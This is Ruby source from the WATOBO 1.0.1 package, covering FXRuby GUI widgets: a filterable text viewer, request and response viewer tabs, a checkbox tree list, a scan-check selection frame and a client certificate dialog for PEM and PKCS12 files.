@filter_text.connect(SEL_COMMAND) { applyFilter() addFilterHistory() } @filter_text.connect(SEL_CHANGED) { applyFilter() } menu = FXMenuPane.new(self) FXMenuCommand.new(menu, "&Highlight").connect(SEL_COMMAND) { @filter_mode = SEL_TYPE_HIGHLIGHT applyFilter() @mode_btn.text = "Highlight" } #, method(:switchMethod)) FXMenuCommand.new(menu, "&Grep").connect(SEL_COMMAND) { @filter_mode = SEL_TYPE_GREP applyFilter() @mode_btn.text = "Grep" } #, method(:switchMethod)) @auto_apply_cbtn = FXCheckButton.new(text_view_header, "auto-apply", nil, 0, ICON_BEFORE_TEXT|LAYOUT_SIDE_TOP|LAYOUT_RIGHT|LAYOUT_FILL_Y) @mode_btn = FXMenuButton.new(text_view_header, "Highlight", nil, menu, :opts => MENUBUTTON_DOWN|FRAME_RAISED|FRAME_THICK|ICON_AFTER_TEXT|LAYOUT_RIGHT|LAYOUT_FILL_Y) reset_button = FXButton.new(text_view_header, "&Reset", nil, nil, 0, FRAME_RAISED|FRAME_THICK|LAYOUT_FILL_Y) reset_button.connect(SEL_COMMAND) { resetFilter() } text_box_frame = FXVerticalFrame.new(self, LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_SUNKEN|FRAME_THICK, :padding => 0) @simple_text_view = SimpleTextView.new(text_box_frame, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y, :padding => 0) @simple_text_view.style = 1 @simple_text_view.editable = false @simple_text_view.textStyle -= TEXT_WORDWRAP addHotkeyHandler(@simple_text_view.textbox) addHotkeyHandler(@filter_text) @filter_dt.connect(SEL_COMMAND) { applyFilter() } end def applyFilter pattern = @filter_text.text @match_pos_label.text = "0/0" @simple_text_view.resetMatches() @simple_text_view.setText(@text) @match_pos_label.textColor = 'grey' return true if pattern == '' case @filter_mode when SEL_TYPE_GREP grepPattern(pattern) when SEL_TYPE_HIGHLIGHT highlightPattern(pattern) end end private def gotoNextMatch() @cur_match_pos += 1 if @cur_match_pos < @simple_text_view.numMatches-1 @simple_text_view.makeMatchVisible(@cur_match_pos) @match_pos_label.text = "#{@cur_match_pos+1}/#{@simple_text_view.numMatches}" if @simple_text_view.numMatches > 0 end def gotoPrevMatch() @cur_match_pos -= 1 if @cur_match_pos > 0 @simple_text_view.makeMatchVisible(@cur_match_pos) @match_pos_label.text = "#{@cur_match_pos+1}/#{@simple_text_view.numMatches}" if @simple_text_view.numMatches > 0 end def addFilterHistory() text = @filter_text.text return true if text == '' has_item = false @filter_text.each do |item, data| has_item = true if data == text end @filter_text.appendItem(text, text) unless has_item == true @filter_text.numVisible = @filter_text.numItems end def resetFilter @simple_text_view.max_len = 0 @simple_text_view.setText(@text) @match_pos_label.text = "0/0" @match_pos_label.textColor = 'grey' @filter_text.text = '' end def highlightPattern(pattern) @cur_match_pos = 0 @simple_text_view.max_len = 0 @match_pos_label.textColor = 'black' @simple_text_view.setText(@text) @simple_text_view.highlight(pattern) @match_pos_label.text = "0/#{@simple_text_view.numMatches()}" @simple_text_view.makeMatchVisible(0) @match_pos_label.text = "1/#{@simple_text_view.numMatches()}" if @simple_text_view.numMatches() > 0 end def grepPattern(pattern) @cur_match_pos = 0 @simple_text_view.max_len = 0 @match_pos_label.textColor = 'black' @simple_text_view.setText(@text) @simple_text_view.filter(pattern) @match_pos_label.text = "0/#{@simple_text_view.numMatches()}" @simple_text_view.highlight(pattern) @simple_text_view.makeMatchVisible(0) @filter_mode = SEL_TYPE_GREP @match_pos_label.text = "1/#{@simple_text_view.numMatches()}" if @simple_text_view.numMatches() > 0 end def addHotkeyHandler(widget) @ctrl_pressed = false widget.connect(SEL_KEYPRESS) { |sender, sel, event| # puts event.code @ctrl_pressed = true if event.code == KEY_Control_L or event.code == KEY_Control_R # @shift_pressed = true if @ctrl_pressed and ( event.code == KEY_Shift_L or event.code == KEY_Shift_R ) if event.code == KEY_Return highlight(@filter_text.text) true # special handling of KEY_Return, because we don't want a linebreak in textbox. end if event.code == KEY_F1 unless event.moved? FXMenuPane.new(self) do |menu_pane| FXMenuCaption.new(menu_pane, "Hotkeys:") FXMenuSeparator.new(menu_pane) [" - Reset Filter", " - Grep", " - Highlight", " - Goto Next", " - Goto Prev", " - Switch Wordwrap" ].each do |hk| FXMenuCaption.new(menu_pane, hk).backColor = 'yellow' end menu_pane.create menu_pane.popup(nil, event.root_x, event.root_y) app.runModalWhileShown(menu_pane) end end end if @ctrl_pressed case event.code when KEY_n gotoNextMatch() addFilterHistory() when KEY_N gotoPrevMatch() addFilterHistory() when KEY_w @simple_text_view.textbox.textStyle ^= TEXT_WORDWRAP when KEY_h @mode_btn.text = "Highlight" @filter_mode = SEL_TYPE_HIGHLIGHT addFilterHistory() applyFilter() when KEY_g @mode_btn.text = "Grep" @filter_mode = SEL_TYPE_GREP addFilterHistory() applyFilter() when KEY_r resetFilter() end end false } widget.connect(SEL_KEYRELEASE) { |sender, sel, event| @ctrl_pressed = false if event.code == KEY_Control_L or event.code == KEY_Control_R false } end end class RequestViewer < FXVerticalFrame attr_accessor :max_len def setText(text) @text = text @textviewer.max_len = @max_len index = @tabBook.current @viewers[index].setText(text) end def setFontSize(size) @textviewer.setFont(nil, size) end def getText index = @tabBook.current @viewers[index].getText() end def highlight(pattern) begin index = @tabBook.current @viewers[index].highlight(pattern) rescue end end def initialize(owner, opts) super(owner, opts) @tabbook = nil @viewers = [] @text = '' @max_len = -1 #5000 @tabBook = FXTabBook.new(self, nil, 0, LAYOUT_FILL_X|LAYOUT_FILL_Y|LAYOUT_RIGHT) @tabBook.connect(SEL_COMMAND) { begin getApp().beginWaitCursor() setText(@text) ensure getApp().endWaitCursor() end } textviewer_tab = FXTabItem.new(@tabBook, "Text", nil) tab_frame = FXVerticalFrame.new(@tabBook, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_RAISED) @textviewer = TextViewer.new(tab_frame, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y, :padding => 0) @textviewer.style = 1 @textviewer.editable = false @viewers.push @textviewer FXTabItem.new(@tabBook, "Hex", nil) tab_frame = FXVerticalFrame.new(@tabBook, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_RAISED) @hexViewer = HexViewer.new(tab_frame) @viewers.push @hexViewer FXTabItem.new(@tabBook, "Table", nil) tab_frame = FXVerticalFrame.new(@tabBook, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_RAISED) @viewers << Watobo::Gui::TableEditorFrame.new(tab_frame, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_SUNKEN|FRAME_THICK, :padding => 0) FXTabItem.new(@tabBook, "JSON", nil) # tab_frame = FXVerticalFrame.new(@tabBook, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_RAISED) # @viewers << Watobo::Gui::TableEditorFrame.new(tab_frame, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_SUNKEN|FRAME_THICK, :padding => 0) @viewers << JsonViewer.new(@tabBook, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_RAISED) FXTabItem.new(@tabBook, "Custom", nil) @viewers << CustomViewer.new(@tabBook, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_RAISED) end end class ResponseViewer < FXVerticalFrame include Watobo::Gui::Utils attr_accessor :max_len, :auto_filter def setText(text, prefs={}) begin @text = text @textviewer.max_len = @max_len index = @tabBook.current @viewers[index].setText(@text) rescue => bang puts bang puts "Encoding: #{text.to_s.encoding}" puts '---' puts text end end def setFontSize(size) @textviewer.setFont(nil, size) end def getText index = @tabBook.current @viewers[index].getText() end def highlight(pattern) begin index = @tabBook.current @viewers[index].highlight(pattern) rescue end end def initialize(owner, opts) super(owner, opts) @tabbook = nil @viewers = [] @text = '' @max_len = 5000 @auto_filter = false @tabBook = FXTabBook.new(self, nil, 0, LAYOUT_FILL_X|LAYOUT_FILL_Y|LAYOUT_RIGHT) @tabBook.connect(SEL_COMMAND) { begin getApp().beginWaitCursor() setText(@text) ensure getApp().endWaitCursor() end } @text_dt = FXDataTarget.new('') textviewer_tab = FXTabItem.new(@tabBook, "Text", nil) tab_frame = FXVerticalFrame.new(@tabBook, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_RAISED) @textviewer = TextViewer.new(tab_frame, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y, :padding => 0) # @textviewer = TextView2.new( tab_frame, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y, :padding => 0) @textviewer.style = 2 @textviewer.editable = false # @textviewer.target = @text_dt # @textviewer.selector = FXDataTarget::ID_VALUE @viewers << @textviewer taglessviewer_tab = FXTabItem.new(@tabBook, "Tagless", nil) tab_frame = FXVerticalFrame.new(@tabBook, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_RAISED) tagless_frame = FXVerticalFrame.new(tab_frame, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_SUNKEN|FRAME_THICK, :padding => 0) #text_view_header = FXHorizontalFrame.new(tagless_frame, :opts => LAYOUT_FILL_X|LAYOUT_SIDE_BOTTOM) @taglessviewer = TaglessViewer.new(tagless_frame, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y, :padding => 0) @viewers << @taglessviewer FXTabItem.new(@tabBook, "Hex", nil) tab_frame = FXVerticalFrame.new(@tabBook, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_RAISED) @hexViewer = HexViewer.new(tab_frame) @viewers << @hexViewer # FXTabItem.new(@tabBook, "HTML", nil) # @html_viewer = HTMLViewerFrame.new(@tabBook, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_RAISED) # @viewers << @html_viewer FXTabItem.new(@tabBook, "Custom", nil) @viewers << CustomViewer.new(@tabBook, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_RAISED) FXTabItem.new(@tabBook, "JSON", nil) @viewers << JsonViewer.new(@tabBook, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_RAISED) end end ###################### end of namespace ############################ end end watobo-1.0.1/lib/watobo/gui/checkboxtree.rb000066400000000000000000000252531366346341400206450ustar00rootroot00000000000000if $0 == __FILE__ inc_path = File.expand_path(File.join(File.dirname(__FILE__), "..", "..")) $: << inc_path require 'watobo' require 'watobo/gui' require 'fox16' include Fox include Watobo::Constants end # @private module Watobo #:nodoc: all module Gui module CheckboxMixin include Watobo::Gui::Icons def check begin @checked ||= true self.setOpenIcon(ICON_CB_CHECKED) self.setClosedIcon(ICON_CB_CHECKED) # opened = true rescue => bang puts "!!!ERROR: could not check item" puts bang puts bang.backtrace end end def checked @checked ||= false end def uncheck begin @checked ||= false self.setOpenIcon(ICON_CB_UNCHECKED) self.setClosedIcon(ICON_CB_UNCHECKED) #opened = false rescue => bang puts "!!!ERROR: could not uncheck item" puts bang puts bang.backtrace end end def toggle @checked ||= false if @checked uncheck else check end end end class CheckBoxTreeItem < FXTreeItem attr_accessor :checked include Watobo::Gui::Icons def check begin @checked = true self.setOpenIcon(ICON_CB_CHECKED) self.setClosedIcon(ICON_CB_CHECKED) # opened = true rescue => bang puts "!!!ERROR: could not uncheck item" end end def uncheck begin @checked = false self.setOpenIcon(ICON_CB_UNCHECKED) self.setClosedIcon(ICON_CB_UNCHECKED) #opened = false rescue => bang puts "!!!ERROR: could not uncheck item" end end def toggle if @checked uncheck else check end end def initialize(item_text, item_status) super item_text @checked = item_status #icon = ICON_CB_CHECKED #icon = ICON_CB_UNCHECKED if not status #super(text, icon, icon, data) # data = item_data if @checked check else uncheck end end end class CheckBoxTreeList < FXTreeList include Watobo::Gui::Icons include Watobo::Subscriber #------------------------------ # C R E A T E T R E E #------------------------------ # elements[] = [{ # :name => element_name, number of subtrees controlled via pipe-char, e.g. ||item # :enabled => true|false, # :data => object|string|... # }, {..} ] def elements=(elements) self.clearItems() #return false if elements.length > 0 elements.each do |e| # puts icon.class.to_s node = nil levels = e[:name].split('|') begin # puts "Processing: #{e[:name]} > #{e[:data].class}" if $DEBUG levels.each_with_index do |l, i| #puts "#{l} - #{l.class}" item = self.findItem(l, node, SEARCH_FORWARD|SEARCH_IGNORECASE) if item.nil? then # new_item = FXTreeItem.new(l, ICON_CB_CHECKED, ICON_CB_CHECKED) # new_item.extend CheckboxMixin new_item = CheckBoxTreeItem.new(l, e[:enabled]) # item = self.appendItem(node, l, ICON_CB_CHECKED, ICON_CB_CHECKED) item = self.appendItem(node, new_item) # if e[:enabled] then # self.openItem(item, false) # else # self.closeItem(item, false) # end end node = item if i == levels.length-1 then self.setItemData(item, e[:data]) updateParent(item) end end rescue => bang puts bang puts bang.backtrace end end end def updateParent(child) parent = child.parent # count enabled childs return false if parent.nil? ec = 0 parent.each do |item| #data = self.getItemData(item) #ec += 1 if data[:enabled] ec += 1 if item.checked end if ec == 0 then # puts "no childs selected" icon = ICON_CB_UNCHECKED self.setItemData(parent, :none) elsif ec < parent.numChildren then # puts "not all childs are selected" icon = ICON_CB_CHECKED_ORANGE self.setItemData(parent, :partly) else # puts "all childs have been selected" icon = ICON_CB_CHECKED self.setItemData(parent, :all) end self.setItemOpenIcon(parent, icon) self.setItemClosedIcon(parent, icon) end def getCheckedData(root = self) @selected = [] if root == self root.each do |c| getCheckedData(c) if c.numChildren > 0 @selected << c.data if self.itemLeaf?(c) and c.checked end @selected end def checkAll self.each do |r| r.check setItemData(r, :all) r.each do |c| c.check end self.update # checkAllChildren(r) # openItem(child, true) end end def uncheckAll self.each do |r| # uncheckItem(r) r.uncheck setItemData(r, :none) r.each do |c| c.uncheck end #uncheckAllChildren(r) self.update end end def uncheckAllChildren(parent) parent.each do |child| #uncheckItem(child) child.uncheck end end def checkAllChildren(parent) parent.each do |child| #checkItem(child) child.check end end def initialize(parent) @parent = parent super(parent, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y| TREELIST_SHOWS_LINES| TREELIST_SHOWS_BOXES| TREELIST_ROOT_BOXES| #TREELIST_EXTENDEDSELECT| TREELIST_MULTIPLESELECT ) #LAYOUT_TOP|LAYOUT_RIGHT|TREELIST_SHOWS_LINES|TREELIST_SHOWS_BOXES|TREELIST_ROOT_BOXES|TREELIST_EXTENDEDSELECT self.connect(SEL_COMMAND) do |sender, sel, item| if $DEBUG puts "Selected Item: #{item}" if item.parent puts "Member Of: #{item.parent}" puts "Has Brothers: #{item.parent.numChildren}" end end if self.itemLeaf?(item) then #toggleState(item) item.toggle updateParent(item) else data = self.getItemData(item) new_state = case data when :partly # puts data icon = ICON_CB_UNCHECKED uncheckAllChildren(item) :none when :none # puts data icon = ICON_CB_CHECKED checkAllChildren(item) :all when :all # puts data icon = ICON_CB_UNCHECKED uncheckAllChildren(item) :none end self.setItemData(item, new_state) self.setItemClosedIcon(item, icon) self.setItemOpenIcon(item, icon) end self.killSelection() notify(:sel_command) end end end #-- end end ########################## if $0 == __FILE__ # @private module Watobo #:nodoc: all module Gui @application ||= FXApp.new('LayoutTester', 'FoxTest') class TestGui < FXMainWindow class TreeDlg < FXDialogBox # include Responder def initialize(parent, project=nil, prefs={}) super(parent, "CheckBox Dialog", DECOR_ALL, :width => 300, :height => 400) # FXMAPFUNC(SEL_COMMAND, ID_ACCEPT, :onAccept) frame = FXVerticalFrame.new(self, LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_GROOVE) elements = [] num_root_nodes = 4 max_child_nodes = 4 num_root_nodes.times do |ri| max_child_nodes.times do |si| name = "root#{ri}|sub#{si}" data = name + "-data" e = {:name => name, :enabled => false, :data => data} elements << e end end @cbtree = CheckBoxTreeList.new(frame) @cbtree.elements = elements end end def leave d = @cbtree.getCheckedData #puts d.class #puts d exit end def initialize(app) # Call base class initializer first super(app, "Test Application", :width => 800, :height => 600) frame = FXVerticalFrame.new(self, LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_GROOVE) elements = [] num_root_nodes = 4 max_child_nodes = 4 num_root_nodes.times do |ri| max_child_nodes.times do |si| name = "root#{ri}|sub#{si}" data = name + "-data" e = {:name => name, :enabled => false, :data => data} elements << e end end @cbtree = CheckBoxTreeList.new(frame) @cbtree.elements = elements FXButton.new(frame, "Select All", :opts => FRAME_THICK|FRAME_RAISED|LAYOUT_FILL_X|LAYOUT_TOP|LAYOUT_LEFT).connect(SEL_COMMAND) { @cbtree.checkAll } FXButton.new(frame, "Deselect All", :opts => FRAME_THICK|FRAME_RAISED|LAYOUT_FILL_X|LAYOUT_TOP|LAYOUT_LEFT).connect(SEL_COMMAND) { @cbtree.uncheckAll } FXButton.new(frame, "Open TreeDialog", :opts => FRAME_THICK|FRAME_RAISED|LAYOUT_FILL_X|LAYOUT_TOP|LAYOUT_LEFT).connect(SEL_COMMAND) { dlg = TreeDlg.new(self) if dlg.execute != 0 then puts "* Dialog Finished" else puts "Dialog Canceled" end } FXButton.new(frame, "Exit", :opts => FRAME_THICK|FRAME_RAISED|LAYOUT_FILL_X|LAYOUT_TOP|LAYOUT_LEFT).connect(SEL_COMMAND) { leave } end def create super # Create the windows show(PLACEMENT_SCREEN) # Make the main window appear end end # application = FXApp.new('LayoutTester', 'FoxTest') TestGui.new(@application) @application.create @application.run end end endwatobo-1.0.1/lib/watobo/gui/checks_policy_frame.rb000066400000000000000000000055201366346341400221630ustar00rootroot00000000000000# @private module Watobo #:nodoc: all module Gui class ChecksPolicyFrame < FXVerticalFrame include Watobo::Subscriber def applyPolicy(policy=nil) #return false if policy.nil? tree_elements = [] @checks.each do |check| status = true begin # status = policy[check.class.to_s] status = false rescue puts "unknown policy or unknown test [#{@policy}] - [#{check.class.to_s}" end a = { :name => "#{check.check_group}|#{check.check_name}", :enabled => status, :data => check } tree_elements.push a end showTree(tree_elements) end def set_checks(elements, policy={}) tree_elements = [] @checks.each do |check| a = { :name => "#{check.check_group}|#{check.check_name}", :enabled => false, :data => check } tree_elements.push a end showTree(tree_elements) end def showInfo(check) # TODO: Show check details, e.g. with a PopUp end def showTree(elements) @tree.elements = elements end def getSelectedModules() @tree.getCheckedData end def initialize(parent, policy=nil) # Invoke base class initialize function first super(parent, :opts => LAYOUT_FILL_X| LAYOUT_FILL_Y, :padding => 0) @checks = Watobo::ActiveModules.to_a quickSelectFrame = FXHorizontalFrame.new(self, LAYOUT_FILL_X) @sel_all_btn = FXButton.new(quickSelectFrame, "Select All", nil, nil, 0, FRAME_RAISED|FRAME_THICK|LAYOUT_FILL_X) @sel_all_btn.connect(SEL_COMMAND) { @tree.checkAll @tree.update } # @sel_all_btn.setFocus() # @sel_all_btn.setDefault() @desel_all_btn = FXButton.new(quickSelectFrame, "Deselect All", nil, nil, 0, FRAME_RAISED|FRAME_THICK|LAYOUT_FILL_X) @desel_all_btn.connect(SEL_COMMAND) { @tree.uncheckAll @tree.update } tree_frame = FXVerticalFrame.new(self, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_GROOVE) @tree = CheckBoxTreeList.new(tree_frame) # create a notification chain for SEL_COMMAND # we can't register the regular way here, because it's already used by the CheckboxTreeList @tree.subscribe(:sel_command) { notify(:sel_command) } set_checks @checks end private def default_policy(checks) @policy_list = Hash.new @policy_list[:default_policy] = 'default' dp = @policy_list['default'] = Hash.new checks.each do |ac| dp[ac.class.to_s] = false end @current_policy = dp @policy_list end end #-- end end watobo-1.0.1/lib/watobo/gui/client_cert_dialog.rb000077500000000000000000000355401366346341400220140ustar00rootroot00000000000000# @private module Watobo #:nodoc: all module Gui class ClientCertDialog < FXDialogBox class PEMFrame < FXVerticalFrame def cert client_cert = {} begin if File.exist?(@client_cert_dt.value) client_cert[:ssl_client_cert] = OpenSSL::X509::Certificate.new(File.read(@client_cert_dt.value)) end if File.exist?(@client_key_dt.value) client_cert[:ssl_client_key] = OpenSSL::PKey::RSA.new(File.read(@client_key_dt.value), @password_dt.value) end client_cert[:password] = @password_dt.value client_cert[:certificate_file] = @client_cert_dt.value client_cert[:key_file] = @client_key_dt.value client_cert[:type] = :pem return client_cert rescue => bang puts bang puts bang.backtrace end return nil end def settings s = { :certificate_file => @client_cert_dt.value, :password => @password_dt.value, :key_file => @client_key_dt.value } end def update_fields(c) unless c.nil? @client_cert_dt.value = c[:certificate_file] @cert_path = File.dirname(c[:certificate_file]) + '/' @client_key_dt.value = c[:key_file] @password_dt.value = c[:password].nil? ? '' : c[:password] @retype_dt.value = c[:password].nil? ? '' : c[:password] @client_cert_txt.handle(self, FXSEL(SEL_UPDATE, 0), nil) @client_key_txt.handle(self, FXSEL(SEL_UPDATE, 0), nil) @password_txt.handle(self, FXSEL(SEL_UPDATE, 0), nil) @retype_txt.handle(self, FXSEL(SEL_UPDATE, 0), nil) end end def settings_valid? if @client_cert_dt.value.strip.empty? and @client_key_dt.value.strip.empty? return true end unless @password_dt.value.empty? puts "* password is set" if @password_dt.value != @retype_dt.value FXMessageBox.information(self, MBOX_OK, "Passwords", "Passwords don't match!") return false end password = @password_dt.value end unless File.exist?(@client_cert_dt.value) FXMessageBox.information(self, MBOX_OK, "File not found", "#{@client_cert_dt.value} does not exist!") return false end unless File.exist?(@client_key_dt.value) FXMessageBox.information(self, MBOX_OK, "File not found", "#{@client_key_dt.value} does not exist!") return false end # last but not least check if private key can be accessed begin key = OpenSSL::PKey::RSA.new(File.open(@client_key_dt.value), password) rescue => bang FXMessageBox.information(self, MBOX_OK, "Wrong Password", "Could not open private key file. Wrong password?") return false end true end def initialize(owner) @client_cert_dt = FXDataTarget.new('') @client_key_dt = FXDataTarget.new('') @password_dt = FXDataTarget.new('') @retype_dt = FXDataTarget.new('') super owner, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_RAISED matrix = FXMatrix.new(self, 3, :opts => MATRIX_BY_COLUMNS|LAYOUT_FILL_X|LAYOUT_FILL_Y) FXLabel.new(matrix, "Certificate File:", nil, LAYOUT_TOP|JUSTIFY_RIGHT) @client_cert_txt = FXTextField.new(matrix, 25, :target => @client_cert_dt, :selector => FXDataTarget::ID_VALUE, :opts => TEXTFIELD_NORMAL|LAYOUT_SIDE_RIGHT) FXButton.new(matrix, "Select").connect(SEL_COMMAND) { select_cert_file } FXLabel.new(matrix, "Key File:", nil, LAYOUT_TOP|JUSTIFY_RIGHT) @client_key_txt = FXTextField.new(matrix, 25, :target => @client_key_dt, :selector => FXDataTarget::ID_VALUE, :opts => TEXTFIELD_NORMAL|LAYOUT_SIDE_RIGHT) FXButton.new(matrix, "Select").connect(SEL_COMMAND) { select_key_file } # matrix = FXMatrix.new(main_frame, 2, :opts => MATRIX_BY_COLUMNS|LAYOUT_FILL_X|LAYOUT_FILL_Y) FXLabel.new(matrix, "Password:", nil, LAYOUT_TOP|JUSTIFY_RIGHT) @password_txt = FXTextField.new(matrix, 25, :target => @password_dt, :selector => FXDataTarget::ID_VALUE, :opts => TEXTFIELD_NORMAL|LAYOUT_SIDE_RIGHT|TEXTFIELD_PASSWD) FXButton.new(matrix, "", :opts => FRAME_NONE).disable FXLabel.new(matrix, "Retype:", nil, LAYOUT_TOP|JUSTIFY_RIGHT) @retype_txt = FXTextField.new(matrix, 25, :target => @retype_dt, :selector => FXDataTarget::ID_VALUE, :opts => TEXTFIELD_NORMAL|LAYOUT_SIDE_RIGHT|TEXTFIELD_PASSWD) FXButton.new(matrix, "", :opts => FRAME_NONE).disable end private def select_cert_file() cert_filename = FXFileDialog.getOpenFilename(self, "Select Certificate File", @cert_path, "*.pem,*.cer\n*") if cert_filename != "" then if File.exist?(cert_filename) then @client_cert_dt.value = cert_filename @client_cert_txt.handle(self, FXSEL(SEL_UPDATE, 0), nil) @cert_path = File.dirname(cert_filename) + '/' end end end def select_key_file() key_filename = FXFileDialog.getOpenFilename(self, "Select Key File", @cert_path, "*.pem,*.key\n*") if key_filename != "" then if File.exist?(key_filename) then @client_key_dt.value = key_filename @client_key_txt.handle(self, FXSEL(SEL_UPDATE, 0), nil) @cert_path = File.dirname(key_filename) + '/' end end end end class PKCS12Frame < FXVerticalFrame def cert client_cert = {} password = @password_dt.value begin if File.exist?(@client_cert_dt.value) p12_data = nil File.open(@client_cert_dt.value, "rb") { |fh| p12_data = fh.read } p12 = OpenSSL::PKCS12.new(p12_data, password) client_cert[:ssl_client_cert] = p12.certificate client_cert[:ssl_client_key] = p12.key client_cert[:extra_chain_certs] = p12.ca_certs client_cert[:certificate_file] = @client_cert_dt.value client_cert[:password] = password client_cert[:type] = :pkcs12 end return client_cert rescue => bang puts bang puts bang.backtrace end return nil end def update_fields(c) unless c.nil? @client_cert_dt.value = c[:certificate_file] @cert_path = File.dirname(c[:certificate_file]) + '/' @password_dt.value = c[:password].nil? ? '' : c[:password] @retype_dt.value = c[:password].nil? ? '' : c[:password] @client_cert_txt.handle(self, FXSEL(SEL_UPDATE, 0), nil) @password_txt.handle(self, FXSEL(SEL_UPDATE, 0), nil) @retype_txt.handle(self, FXSEL(SEL_UPDATE, 0), nil) end end def settings_valid? if @client_cert_dt.value.strip.empty? return true end unless @password_dt.value.empty? puts "* password is set" if @password_dt.value != @retype_dt.value FXMessageBox.information(self, MBOX_OK, "Passwords", "Passwords don't match!") return false end password = @password_dt.value end unless File.exist?(@client_cert_dt.value) FXMessageBox.information(self, MBOX_OK, "File not found", "#{@client_cert_dt.value} does not exist!") return false end true end def settings s = { :certificate_file => @client_cert_dt.value, :password => @password_dt.value } end def initialize(owner) @client_cert_dt = FXDataTarget.new('') @client_key_dt = FXDataTarget.new('') @password_dt = FXDataTarget.new('') @retype_dt = FXDataTarget.new('') super owner, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_RAISED matrix = FXMatrix.new(self, 3, :opts => MATRIX_BY_COLUMNS|LAYOUT_FILL_X|LAYOUT_FILL_Y) FXLabel.new(matrix, "PKCS12 File:", nil, LAYOUT_TOP|JUSTIFY_RIGHT) @client_cert_txt = FXTextField.new(matrix, 25, :target => @client_cert_dt, :selector => FXDataTarget::ID_VALUE, :opts => TEXTFIELD_NORMAL|LAYOUT_SIDE_RIGHT) FXButton.new(matrix, "Select").connect(SEL_COMMAND) { select_cert_file } FXLabel.new(matrix, "Password:", nil, LAYOUT_TOP|JUSTIFY_RIGHT) @password_txt = FXTextField.new(matrix, 25, :target => @password_dt, :selector => FXDataTarget::ID_VALUE, :opts => TEXTFIELD_NORMAL|LAYOUT_SIDE_RIGHT|TEXTFIELD_PASSWD) FXButton.new(matrix, "", :opts => FRAME_NONE).disable FXLabel.new(matrix, "Retype:", nil, LAYOUT_TOP|JUSTIFY_RIGHT) @retype_txt = FXTextField.new(matrix, 25, :target => @retype_dt, :selector => FXDataTarget::ID_VALUE, :opts => TEXTFIELD_NORMAL|LAYOUT_SIDE_RIGHT|TEXTFIELD_PASSWD) FXButton.new(matrix, "", :opts => FRAME_NONE).disable end private def select_cert_file() cert_filename = FXFileDialog.getOpenFilename(self, "Select Certificate File", @cert_path, "*.p12,*.pfx\n*") if cert_filename != "" then if File.exist?(cert_filename) then @client_cert_dt.value = cert_filename @client_cert_txt.handle(self, FXSEL(SEL_UPDATE, 0), nil) @cert_path = File.dirname(cert_filename) end end end end class StoreFrame < FXVerticalFrame end NO_SELECTION = "no site selected" attr :client_certificates def savePasswords?() return false #@save_pws_cbt.checked? end include Responder def initialize(owner, prefs={}) super(owner, "Client Certificates", :opts => DECOR_ALL) FXMAPFUNC(SEL_COMMAND, ID_ACCEPT, :onAccept) @password_policy = { :save_passwords => false } @cert_path = nil @client_certificates = {} @password_policy.update prefs[:password_policy] if prefs.has_key? :password_policy @site_dt = FXDataTarget.new('') main_frame = FXVerticalFrame.new(self, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_GROOVE) frame = FXHorizontalFrame.new(main_frame, :opts => LAYOUT_FILL_X) @scope_only_cb = FXCheckButton.new(frame, "scope only", nil, 0, ICON_BEFORE_TEXT|LAYOUT_SIDE_LEFT) @scope_only_cb.setCheck(false) @scope_only_cb.connect(SEL_COMMAND) { updateSitesCombo() } @sites_combo = FXComboBox.new(frame, 5, @site_dt, FXDataTarget::ID_VALUE, COMBOBOX_STATIC|FRAME_SUNKEN|FRAME_THICK|LAYOUT_SIDE_TOP|LAYOUT_FILL_X) @sites_combo.numVisible = @sites_combo.numItems >= 20 ? 20 : @sites_combo.numItems @sites_combo.numColumns = 25 @sites_combo.editable = true updateSitesCombo() @sites_combo.connect(SEL_COMMAND, method(:update_fields)) # @save_pws_cbt = FXCheckButton.new(matrix, "save passwords") # @save_pws_cbt.checkState = false # @save_pws_cbt.checkState = true if @password_policy[:save_passwords] == true # note_label = FXLabel.new(matrix, "This setting affects all passwords!!!") @cert_settings = [] @tabBook = FXTabBook.new(main_frame, nil, 0, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|LAYOUT_RIGHT) res_tab = FXTabItem.new(@tabBook, "PEM", nil) @cert_settings << PEMFrame.new(@tabBook) res_tab = FXTabItem.new(@tabBook, "PKCS12", nil) @cert_settings << PKCS12Frame.new(@tabBook) buttons = FXHorizontalFrame.new(main_frame, :opts => LAYOUT_SIDE_BOTTOM|LAYOUT_FILL_X|PACK_UNIFORM_WIDTH, :padLeft => 40, :padRight => 40, :padTop => 20, :padBottom => 20) accept = FXButton.new(buttons, "&Accept", nil, self, ID_ACCEPT, FRAME_RAISED|FRAME_THICK|LAYOUT_RIGHT|LAYOUT_CENTER_Y) accept.enable # Cancel FXButton.new(buttons, "&Cancel", nil, self, ID_CANCEL, FRAME_RAISED|FRAME_THICK|LAYOUT_RIGHT|LAYOUT_CENTER_Y) end private def updateSitesCombo() @sites_combo.clearItems @sites_combo.appendItem(NO_SELECTION, nil) @site_dt.value = NO_SELECTION Watobo::Chats.sites(:in_scope => 